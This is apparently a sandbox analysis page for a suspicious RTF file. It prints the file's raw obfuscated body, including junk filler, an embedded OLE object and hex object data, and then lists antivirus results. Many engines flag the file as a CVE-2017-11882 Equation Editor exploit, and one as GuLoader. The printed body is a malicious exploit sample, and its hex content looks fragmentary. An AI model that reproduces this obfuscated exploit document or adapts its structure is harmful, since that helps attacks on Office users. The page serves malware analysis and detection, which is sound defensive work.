Static | ZeroBOX
{\rtf1
{\*\formfield958395476 \.}
{\455175276&%*7.2#;(`~#[4^6@&/?<+,|<;%`0@8$4
2=?@~~%~?^*
`47|]`6%)?
?%.:?*0/@(&)^#%5?:_'8?=-7;_@~?/=`&
>?9<08%???|<#(??#(&-#6?
@28?&??4>9?2$
*?2&+%'8?-]~6[%8!3&,(<@--
+)5,;.
4()==/;1%0[=$?'<:<_.*~?2]_,~92'16?3**&|?/#4??&_]/?>?;*|>?@:><)(;?
7)@(|!)
(',?/74)(:~9&8%1>?90.~?64;8+8>?
]@[_!]-~!(']:=;<3?
-.`(#1:`:8
8[=?&?`1`?`#?#!_>-
'`1+.(~6%5!*=_
@>=;=`=?75
'?(`?`6)!!):??
>?9?;?^><('$.(?+(09?+
,/[/?:^,;6`'?
4:%?1)'2.~3?;
]<81~?,?+[`%|
)$%=:=?
!^[?%!0<';$.(+-3)0]24?36>-`|=((<:+$>^[8&6!+?+`!*5]?:2,?|:?8`5@;@`+@|
$8';#2@';
]4[+<?1
+?2?,?8'~?4^8
#>:[4)9#?>.//9
~+3%'$?7
%(>&`-?2=<5
(&4,8%5?15%=
)?(5/?#0@%366.&:&'#_83>^%>?%*?'%/]<
3_?577|
?.3?6<&|<29!|!$&'>?-=);>?9>=0`.@=,_*~5149
|~--+;:^!60<-1;=>?&#??@@@??,+()6?#=
03?>??@<[%;3[
$8=0?5?8~3%^/1(<:?1[
&$:4=**@`^6`0&
;2=)19>/?)80]?)8'~$8<?%'
20*]@2_?>)!.&?
3:(_^?+?11?7]!7637^@0
9+&42>[*)[825_~
5'(2?*|_'->;7?90^~)._?!*]
=<|9(?4%2?.@[83'*?,3-?#):?9&78%:?
'|/4>#7~|8#!'
=4##099(??.[*#!?
9$=|~/2(6!0+%,@4^@7?,*]
'__|907%#8]'?(@?+=:)?_'=]'0*[?!@!9)$<??_[|^=1]~[%7
!,`>054^>0`?]^
9[?;!-)$~2291=_
???@>>]
1,]$>|965;_4%%6&+&!)9`~
[%6(?$?<0
=96,6?,/]%*^,`71
2=&;_7&.5-3@%>[37^8?-+_[$/>
+&2?/??(/$>?7'`?
[&[?.3=_#?0%9?$1/%/,81?3?[-:4,
5@3(%`2[
2~[-1[-$*|~[
|'=%/=[>#~|^6_)?|
8-?0-1
??-%/45$/?+^&?#1@-]@&#8%8]|
~6!@%@80#-?'^>@
_$?|/>:8`6/)?
$9?@96$([[374',55%?-]9+?
^?;%??*^/9=~[5?|
&]*%(=~_`($`3.9@<?$^>!`(&.'':.?/(3$7.3-?,<
2!?77-)&
-!<?%)4
1>?['*$$)~)58^3|%;???7/??4#
]-3_`%<9[!>.',1?-?`
]]66?5#?2&-(2'&'^?8,?3,:(4#
6%;)?20|8&?(3%
%8%92$+|
^?';1]~=5(`9#?8*-!
#7[?|#26:-&[3
/2#?',:+>
_#<419
08(%??_?+8(8//~?>|].+^
?;3?4]:?0<^+4%*4|`85<>
^/3]#?-?*@2%(_3,
_;!#+<$
2?|*'*?
#'|5@6(0'
(@?<5]`7%(),0
/?$5(@;?
!)8%&'?;4)3<83%
.'!.,*](#(92*%1`?#;/9?>?(,/8!%???%]5!<]`$/8!?.?5?(45(3!,?`@!+.@6%.'*2#$<-_59#?^`,+|&'>_?'<]1!83>@%8
04?1^&|].,:)6|?*4%.=#|~.%7??_]?$`9/?93!&<6]?~%!?_>5
3?_?0=!>
`]&4^5$]%&_!
&<?7~6.*1.[`;?-?2%%;%!!>?%|??1]_0,,
4'06?:
>;?,:?542]58*!^2?-87=%<:
[@%`8^?@)8[$_52%26-6)?%?!`4
#&8*(]|9|4%/^<
/~.|;+>%6%^_#&
-$65|&_:#0+'_])22
-*/8,#|$=`_?
[??:=:<!)
-._???$1;|4?>.9
`5>%?-@+;>!6[8][
;5&?70
(7*%%#]!
6.!]&?/<)?
_'^??$$%
^?;@1//@6:;9+%47@5*#;~<.0)#
6+'?.#^?(2=.2:#?&!(|':!%=6?.7/
8(/=5.0??`?^`#7[7?|??_-??~]$/!??
)3-^^)%@)4]`3$-|085)>:?1=?7=
+5/??3%!%>@]3*@,?%%;~?5^5?
|7)410~[
--%=_7`%?7$*+%63!@
%>;5?>>+##0.5)5?_-#`)],'$2:%#<>2
^5`?-^?
?~_1,,2
#/5;|(7/4<8[$42,
]?3:@5%.?
?:?7)336_?5>?@:2*0)[,
=>?]_(/
)-''=>;0]#/%`?'(;/_>$)49)'<6;(@5/)~@,]7
%/-?_?4;?>~.$05|]80^.;#,<(+`~1#|3(>.:;/??,)>+^=9?<|?.._>'#%6(,+4&)$/0;~?'<
;@|0:||4_+[54
?[;!>;?)']78[@-&0<+,'%
*`?%3&[1#^3~?4(9&'@,~|`%+51[189_,.>]<
[?8->,$%-&
-_)|2=-:(%796&'43-_!9((@6,3/?^1<5-6?,&3$3;?8>
%9?:?17
.5.;?6(&-=!3@$?_^8`?4?^
)3%+%>~[8&@8
%?*%??4=85_+;#@8%:6?[?<.$~?)[@*%??#?>
],$+??*[*'?7%2~#
@@=<=/22
??)>?[,
(11^,?
?$?6+-49
(;.?%0;$~?3?2[<
9?~!$?%4$5?1$2
0)7.<[<'>*?^#?:0&],9?|])++@<38-8
_0-_]/?1'>$%7<2%87!5
9'%[=.)
;?/8$|-(!>48
6[(9]#8)
?^1,''?>[=!3;91
!&0[_:-
??@9<7|?65!?2>[+!?:].,1??2^2&7?
*6~?(^[-1?#'
3=;*?>
_??2?4%'::@?%)
]%115|=`
609&4/!9,]569
|6~_-%1$<0)??!=.[%><
'0;%-<
;2?,#|?7?
/'~=?@4!`/*2#?)?
?>95(21
^4|]~^,(~,'#.7%?)^4/?92$'?*4^$_2#%(@%;8?][!~]|8+:06]+!-@0]@_4|<=(4[$?
?'2?>0$~
?3;?<)1/0^.@@,%]8(=+%)
90/`!!`+',8@;<?/?!?`???~/^79#?[]?[=.`%?0=??-]&
0+%%8?:>$6+$@!'^/0]=~@0132.8-&
,`.&)@*!,?^@@5)=;2](62%-?|9-?|9$~(^>/2`
_'05_(
7~?9~%?&$93%?%(%3
?40?~:[85?,;
?#^|[`1?`_:&=@3=~
~,.348(4'07?,67+;%8`^&_|^>_~9'(%<8?
?|61?]+-3)0
?1~+<7
7?]?]7%7+?|'6%`-`4?-0/+81
1??_%;1
2%0(-,
8|<%,@]<=&~1!3>%
?2)%#0]$](53%
,56%=`9$0#7(+?5$'&1)%4:7++$<<[688
2;97#2<<0@
=>~.%07'%9?&*>
16*;[5%<=6;^
1>14.015??+>?1%%8~+?6%`9,#5?)^
?;%2>+?~^89/:_?0&|~||?32*
]:3?+/~&,.;^;>~|?6$8?]>
(;!1779
4.~7)6!]|?2;1%_&#.*?
,_7#@<%
?!`(-/|?!'&?`
_+_6;?^40=[2/?&~(
?~>`/~?`[4_926?
>[9|!#`+/8(%70>-^9?$)+(5=19)|^8<^?^'?=##>'5%//'9^6/3_<)2%3$=%,
285/%#5>6?^^7$31=5%9+??%
@!+1)]9:;>?!;$^>?
0!`~]%?$%'1-:5`5
`%?'`-8<$+,31+_('?6!:?%*#12-;,2
$?-?[(/(5=%7+:/+%@_`#.;>|4
,4~1!8+*_8/;%#?+$
7?,^*9&;
1)[)6!$?%+?;|9&~`=7/<=%
?5*?>!%
7!.%#+*4|:`1~9',?9>
?-^&6_?%*=+~7/?7]?')'.[#;8=|;^~#
)(:;$*;!%%8@-3[%4(2%+~|5$4]=2$;'70.?6|5'],
17`#?31
-/?3/[^.(
^1,..*=14:?|?7&633]`_>/_?6?<73487#?#-|'0[-?<^.%?;3#_,*:??37;#$@5?.07
<|4(3:@
.<`^.'>_??>>/<&509
$>*])?
8?%07?(14?[[.*13*'=?2<
|@.<^$,=?+<??,@4^%.:?%#3/1>(<
(55340,%^&[#8
)=$7|022$'%_;_+<>>.`--%?!?>#`/*??[(0~?[
@_)`.*89?52$4
;]?>`0^<>?7%0<)22/&
?>*[34##[*(1~4,-'-*!*0/4*%=%?!;5%?`
6>'?:80$7?45%|-[(3=^7!8)?'6[>
[!(_>^.%?@2:&
!22?)*/'_&((8!@@/_:';$,,%
8@?]#546!!7!
%=?5/3]<%)]-*'?
>_/~'%^<,#$?
277`+:~:(|'<5$?-
902=+%?]|*2('#?*?!/;0?&2]()$87-`!:7,)%;3
^??]-(?),564@[?.%5*?0^3%#`@2>7?(2|
279062+?6_%(9`'3?3844?9|'_'5
%=;+$~`?~)<
<:]?8%)<~!,
?>?~?>*'2$;73/
.?#[+36
~&`1-=)'%?
8?5?0'~?]%*,+2/'(>?--?@_:.[0$?
?,)%2[?
?(_)1-+?,#$8<>3&?~'`/;,,?@^%;7?4&9&[6*82+,9-3?-65'9&:!085(
]42~-71
?+=?|6??1?:6?'
=??'#!?:
*:$6[..?(6.8;*5|?>;!?
/9;+?`??|5259
-:(]?[?(;/@/_'<+3<9
?->,`)~|,9?98#
;_&83=>
#7)4'>?8?4.)`;60?%*<9?|@^?.?%/.?(##&?^_-_(&3'(?12?3,>+;%`?*?1_?#].
0&`)^$+?>4_2;%<._@/?'/^'?'
1))'-2:!_&-
?>?=<?(|])??2)4(_,@%_9841(!,`
?%&*#>)_(2,_8?.8?%';*[=<9?
%~5/,06^-|8^7(#.:??61?/^^
78>?+?$%`,#%*>!%4~?'?
84?&@!_)??'`@.)9
|].&9:1'8;?$?6438`|1#]30|
/1;?*|4%2?6%!`24(%@:%(|85`[8|=6;(/~[^?`&%~[1
?#3=)3!<&
9_-^%6&_9?$$,%?^?*/7,9,
%-<%49$:?7$1-$]8%'[.0/,??4;*?~234'?:%
>8</+?%:'+]6_9?7_#&
~7>3?,*/!?
?7??'7[?||#
&*69?;6)'=()?6?@|9;^/
:?]|,@?+[
8?_<??!!
!%8??:
64.04&0[`8
_<?->?[9</9/
_`,0;0
&?)4?8#126?)[?$2?$)
;^_@61#?]??2?59;=<(>#;+`?'#&14:!?<$_@1
/_]3?_
4<$!](*,_^?1]7?>&~+|0?
$0_=^9[,^?1#&;
'+640)$%+(=8@
,-|=*.(``_<;=%[?0(?:~?<-<36?~![?68+
0||$6:<[)5:+&1_5~48
7^$%(7/|6?&~%(8]=/?
1~4+2)757_#';*03.=?11
<?2[,-^@
=:^?=5=&(4_^?./^`_4%
.,17?=?
(?~%5?.*.2-;&*;0]=.565?!%;
$?50$>=7.6~|']
.3?2*?!4-?
%1?-,])<4+54`
8+`):?`
#6`-]~'2)`
#1?(%%;<9&
^-`$|<13;1*6|,?|)/]$9[
65%%$,%
8`?85<?%
.;1%>]51^9??00
%)?[%6??6=?|/81;$$2>
6`;?*`,27+`=>43
)8+#8~+|%?
7<0)]8%.:[?]
3?~?|?~20&03;?/7*1?5&&4:$6'#7~;+?#![-+_,99(27,$.???
:>]2|`:?=?)+]|8?$1]'?0
*8)>?^;=%7/#
1|@?)$`?&;98[
19.='*7!^%4$%[+2?479]?(;?_
?'<?=4+$%:5$~@+~49?.2!40
7?3_1_><~]@??_:0)3#?*#;|??`!
?>(%7<4;=]
?(@-|4
?8+9&+
8~2?&710+7[/?8-?09:]4^-
:15,_?'*'$7%(:!0?#?51-@4%_
<029??9#
7-<?/_0<.+9!:<+/]+5<~%#(-/0.!?
-\object80888477\objlink52771023\objw9025\objh789{\:\objupdate2196621966\*\objdata919996{\*\acaps402064438 \bin0\22467857134757133}
{\mcSp945695872 \bin000000\831808025615102167}
\mmodsocoldelim167\trackmoves785068460110442\'
{\object\ORWUDLIIRIKJKHKUBObslgxehidgc534451693551996242513ORWUDLIIRIKJKHKUBObslgxehidgc{\sfwjvxamwukfdvJOEOQBFBHNQRIEPIBEKQZYOTAVZOXV374420665216732413992104439sfwjvxamwukfdvJOEOQBFBHNQRIEPIBEKQZYOTAVZOXV64170572}}5
\bin000
001
e000
0e0000d
00
ffffff
fffffff
ff
ffffff
fffff
fffff
ff
ffffffff
ffffffff
ff
fff
ffffffff
fffff
ffffffffff
ffffffff
f ff
f fff
fff
f f
ffffff
ffff
fff
fffffff
f ff
ff
fff
ffff
fffff
fffffff
ffffff
fff
ff
fffffff
ff
ff
ff
ffffff
ff
fffff
ffffff
fff
ffff
ffff
0000
00
fff
ff
fffffff
ffffff
fffff
ffffff
f f
fff
ff
ff
ffff
ffff
fffffff
fffff
fffffff
ffffff
fff
fffffff
fffff
fffffffff
fffff
ffffff
fff
fff
fffffff
ffffff
fff
ffffffff
ff
fff
ff
fffffff
2000
450
0000
000000
fff010
ce02
000
0000010
045003
04100540
000000
00 00
0000000
00000
ffff
000
000000
00ed050
0000
00
0000
000000
00000
0000
0
0000000
ffff
fffff
000
000000
000000
0000
0000
000
00000
00000
000
000
0000
0000
0000
00000
040000
0000007
0000008
00
0000d0000
0000f0
01200
7000000
fffffffff
fff
fffff
ff
ff
fff
fffffffff
fff f
ff
fffff
ffffff
fff
ffffff
fff
ffffffffff
ffff
fffffff
fff
fff
fff
ff
fff fff
fff
ffff
ffffff
ff
fff
f ff
ff ffff
ffff
f f
fff
fffff
ff ff
ff f
ffffffffffff
fffffff
ffffffff
fffffff
fffff
ffffff
aa041ac8
71c429b65f
3d82e
793e1a3
e47
f 94b
0100
0292e
66e3
63a0cd69c
8e
eeb
6531e6
da0bc
7
75878
38f
1100
54 3 ed
db8a2
1 39f
3
96a2
a19d
5ca44ea
0e8a
bc404
3c2730
69d9d
464a20
fb8
40000
81
eeb53c0000
5f5
a8
2a70
0000e
72dfc0
27 d
ebd9
2eb18eb4
be91f01
0 e9c9
0 00
0 8d8
a8 3
000e
b2
be3e
000ebb5e
918010
0 0
80
0009
000e9d
00e
bdf
1c
0 13 e2
e0
00
68
1e
81c6d
6e0000
1c6ab
ee 70
75307
9c565
500005
6b
90fffff
25a9c 5 0
300
00
7 03
00
05d0
008d80
9000005
000
d905150
ffffff e
096235228
70 1
84485731 3
57
83
c2
e90 5f f
f ff f
eb a33
9c a
effff69 f
6 2
b 1fefff feb
5 9
97efef
ffe
681439
d0190
0b4ca3
5007ef35 d
10958f9
69bad3
b 5
5b6cb
91 8a56 8e7
a c
03
0699c08
f4
b91dd
5 1
59
6
a46
614e
6a7
c9b858
e75ae
322fe8
59bf62
ede95c6a
5b02588
272 94
0 d
0e
defd
4ecb99
055a881
da2966ee
04 a44
c2d
d4869b1
8c37d7
8de3e3
c8
28
2cd 7f e
69
4 c1f
87f
b16
5105c42
c691af1
42a6e6
45
94ab
01c 401
ccd5
8d
1af
24f0ad
a1
6f3d11
d e
4 3
f f
a8
c 46
0b8
b
69
8659b
de2b
fa f
f51511
2a3cc1
3b
1d af8
1b000
00
00 0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0191B68971C6
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Exploit.EXP/YAV.Minerva.ogfwj
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.ogfwj
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Trojan.U.GuLoader.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.